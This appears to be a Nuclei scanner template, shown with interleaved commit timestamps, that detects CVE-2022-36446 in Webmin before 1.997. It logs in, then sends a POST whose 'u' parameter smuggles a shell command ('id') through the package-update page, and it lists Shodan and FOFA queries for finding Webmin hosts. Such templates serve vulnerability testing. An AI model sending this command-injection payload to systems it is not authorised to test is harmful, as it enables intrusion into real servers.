2022-08-21 05:03:11 +00:00
id : CVE-2022-36446
info :
2023-02-22 19:15:14 +00:00
name : Webmin <1.997 - Authenticated Remote Code Execution
2022-08-21 05:03:11 +00:00
author : gy741
severity : critical
2022-08-25 06:25:21 +00:00
description : |
2023-02-22 19:15:14 +00:00
Webmin before 1.997 is susceptible to authenticated remote code execution via software/apt-lib.pl, which lacks HTML escaping for a UI command. An attacker can perform command injection attacks and thereby execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability allows an authenticated attacker to execute arbitrary code on the target system.
2023-09-06 11:59:08 +00:00
remediation : |
Upgrade Webmin to version 1.997 or later to mitigate this vulnerability.
2022-08-21 05:03:11 +00:00
reference :
- https://medium.com/@emirpolat/cve-2022-36446-webmin-1-997-7a9225af3165
- https://www.exploit-db.com/exploits/50998
2023-02-10 11:39:25 +00:00
- https://github.com/webmin/webmin/compare/1.996...1.997
2023-02-22 19:15:14 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-36446
2023-07-11 19:49:27 +00:00
- http://packetstormsecurity.com/files/167894/Webmin-1.996-Remote-Code-Execution.html
2022-08-21 05:03:11 +00:00
classification :
2023-02-10 11:39:25 +00:00
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score : 9.8
2022-08-21 05:03:11 +00:00
cve-id : CVE-2022-36446
2023-02-10 11:39:25 +00:00
cwe-id : CWE-116
2024-04-08 11:34:33 +00:00
epss-score : 0.97131
epss-percentile : 0.99752
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:webmin:webmin:*:*:*:*:*:*:*:*
2023-02-09 18:40:12 +00:00
metadata :
2023-04-28 08:11:21 +00:00
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : webmin
product : webmin
2024-06-07 10:04:29 +00:00
shodan-query :
- title:"Webmin"
- http.title:"webmin"
2024-05-31 19:23:20 +00:00
fofa-query : title="webmin"
google-query : intitle:"webmin"
2024-01-14 09:21:50 +00:00
tags : cve,cve2022,packetstorm,webmin,rce,authenticated,edb
2022-08-21 05:03:11 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-08-21 05:03:11 +00:00
- raw :
- |
POST /session_login.cgi HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
user={{username}}&pass={{password}}
- |
POST /package-updates/update.cgi HTTP/1.1
Host : {{Hostname}}
Referer : {{BaseURL}}/package-updates/update.cgi?xnavigation=1
mode=new&search=ssh&redir=&redirdesc=&u=0%3Becho+%27{{randstr}}%27%27{{randstr}}%27%3B+id%3B+echo+%27{{randstr}}%27%27{{randstr}}%27&confirm=Install%2BNow
matchers-condition : and
matchers :
- type : word
part : body
words :
- '{{randstr}}'
- 'uid'
- 'gid'
- 'groups'
condition : and
- type : status
status :
- 200
2024-06-08 16:02:17 +00:00
# digest: 4a0a00473045022004f825553e762903ffda85a0fd7eaf8063b579220a2f47231b175b4b419ba3c502210098c36e5257622a24fcb4fc6a89ff4d759ee4236a9207de35cc34ae31f0d9b471:922c64590222798bb761d5b6d8e72950